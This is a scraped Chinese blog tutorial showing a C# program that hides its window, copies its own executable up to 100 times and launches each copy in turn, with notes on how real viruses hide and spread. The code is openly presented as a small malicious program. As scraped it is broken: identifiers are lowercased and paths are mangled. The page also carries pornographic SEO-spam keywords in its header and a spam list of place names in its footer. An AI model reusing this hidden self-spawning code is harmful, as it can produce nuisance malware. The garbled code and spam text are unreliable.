国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > 綜合 > 正文

病毒及流氓軟件自我復制的簡單實現(C#)

2024-07-21 02:26:29
字體:
來源:轉載
供稿:網友


最近朋友的電腦中了病毒,讓我跑了三次,費了九牛二虎之力,幾種殺毒軟件還是沒有能把病毒全清除掉,最后沒有辦法,只能把資料復制出來,把硬盤重新分區了再裝系統,裝上了可以免費使用的antivir,于是乎世界終于清靜。

  不僅因為windows系統的脆弱,而且因為病毒無休止的自我復制和滿硬盤的藏匿,使得我們脆弱的神經不堪重負,面對千瘡百孔,有著莫名其妙而又千奇百怪的名字文件夾和文件的系統,相信大多數人都會選擇重裝系統。病毒和流氓軟件總是讓人氣憤!那么,計算機程序怎么實現自我復制呢?其實這非常的簡單。下面我將用c#簡單的實現一個能夠自我復制的小小的惡意程序。

  程序要實現下面幾個功能。

  第一,運行時不出現運行界面,當然,在任務管理器里,還是可以看到進程的,道行再深的病毒也不可能無跡可尋。

  第二,程序在運行目錄下自我復制n份。

  第三,采用遞歸復制的方法,即第一個程序生成第二個程序,第二個程序生成第三個程序,以此類推。

  源代碼很簡單,下面來分析一下:

35 // 不在任務欄顯示
36 this.showintaskbar = false;
37 // 窗體透明
38 this.opacity = 0;

  system.windows.forms.form類封裝了一般的windows窗口程序大部分特性,極大的簡化窗口界面的設計過程,上面這兩個屬性用于隱藏我們的程序的運行狀態,第一個showintaskbar屬性,設置為否時,程序就不會在狀態欄上面顯示。第二個opacity屬性,表示窗口的不透明度,取值在0到100之間。0%的不透明度也就是100%透明了。這樣,在程序運行時,你就看不見窗體了。

44 // 默認復制次數
45 const int total = 100;
46 int _count = total;
47 // 正在運行的程序路徑和文件名
48 string _file = application.executablepath;
49 // 正在運行的程序路徑
50 string _path = application.startuppath;
51 // 正在運行的程序文件名
52 string _name = _file.replace(string.format("{0}//", _path), string.empty).tolower();
53 try
54 {
55  _count = int.parse(_name.replace(".exe", string.empty));
56  _count--;
57 }
58 catch
59 {
60 }
61 finally
62 {
63 }
64 // 目標文件
65 string _target = string.format("{0}//{1}.exe", _path, _count.tostring("000"));

 application類提供了獲取程序運行絕對路徑并包括文件名的屬性和程序運行絕對路徑的文件名屬性,竟然不直接提供一個文件名的屬性,好奇怪。正規的截取文件名的方法應該根據"/"來判斷,這里采用了替換的方法,大家可以思考一下如果用substring怎么實現。55和56行,如果文件名不是數字,那么從100.exe開始生成,如果你執行了10000.exe的文件,那么狠糟糕,你可能需要注銷一下當前用戶來終止程序運行,當然,讓它運行也不會有多大影響。最后,65行,我們把目標鎖定在程序的當前目錄下。病毒和流氓軟件就沒有那么客氣了,經常它可能會選擇磁盤根目錄、c:/winodws、c:/windows/system32或者其他重要的系統目錄中。而且病毒采用了隨機的命名方式或者是模仿系統文件名稱的固定命名方式,以達到隱藏自身和迷惑用戶的目的。

67 if ((file.exists(_file)) && (_count > 0))
68 {
69  // 復制
70  filestream _filestream = file.open(_file, filemode.open, fileaccess.read, fileshare.readwrite);
71  byte[] _buffer = new byte[_filestream.length];
72  _filestream.read(_buffer, 0, _buffer.length);
73  _filestream.close();
74  // 如果目標已存在,刪除
75  if (file.exists(_target))
76  {
77   file.delete(_target);
78  }
79  // 粘貼
80  filestream _writer = file.open(_target, filemode.openorcreate, fileaccess.readwrite, fileshare.none);
81  _writer.write(_buffer, 0, _buffer.length);
82  _writer.close();
83  // 運行剛復制完成的程序
84  system.diagnostics.process.start(new system.diagnostics.processstartinfo(_target));
85 }
86 application.exit();

  最后,我們來完成第三個目標,自我復制并且運行復制好的新程序。前面我們得到了_file程序運行絕對路徑并包括文件名,這樣,我們就可以打開并讀取它了。file是文件操作的靜態方法,它只負責打開,關閉,創建和刪除文件,對文件的讀寫,就要由filestream來操作了。這里只是整個復制文件,非常的簡單。病毒的特性是可以附加到別的程序或文件上,整個過程就比較復雜了。首先,需要非常了解可執行文件的結構,把原來的可執行文件分解,并且把自身也進行分解,然后重新組合成一個新的可執行文件,但是執行的次序已經改變了,程序開始會先跳轉到病毒代碼,保證病毒能夠被執行后,再跳轉回正常的程序代碼,以使病毒能夠得以在隱藏的狀態下執行。84行調用了新復制完成的程序。以使得新復制的程序能夠自動運行,并且進行下一次的復制。同樣的道理,現在非常多的軟件都提供了自動更新的功能,它的原理基本也是這樣,下載升級包,主程序調用升級程序,如果有必要,主程序會先退出,升級程序完成對主程序或者其他文件的復制更新,然后再重新調用主程序。由此可見,計算機的功能是沒有好壞之分的。病毒能夠運用的原理,普通程序當然也能夠利用。水能載舟亦能覆舟就是這個道理。非常希望您為我提供批評和建議,您可以給我的郵箱[email protected]發送郵件。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 印江| 化隆| 衡阳市| 江源县| 宣化县| 甘德县| 三门峡市| 长子县| 堆龙德庆县| 根河市| 象山县| 扶沟县| 垫江县| 礼泉县| 左云县| 德格县| 嘉义县| 临高县| 于都县| 浪卡子县| 蕲春县| 鄂尔多斯市| 永宁县| 瑞金市| 河北省| 绥滨县| 鹰潭市| 仪征市| 滕州市| 安阳县| 仁怀市| 大埔区| 汶川县| 天门市| 安康市| 巫溪县| 云林县| 新绛县| 上杭县| 定陶县| 北碚区|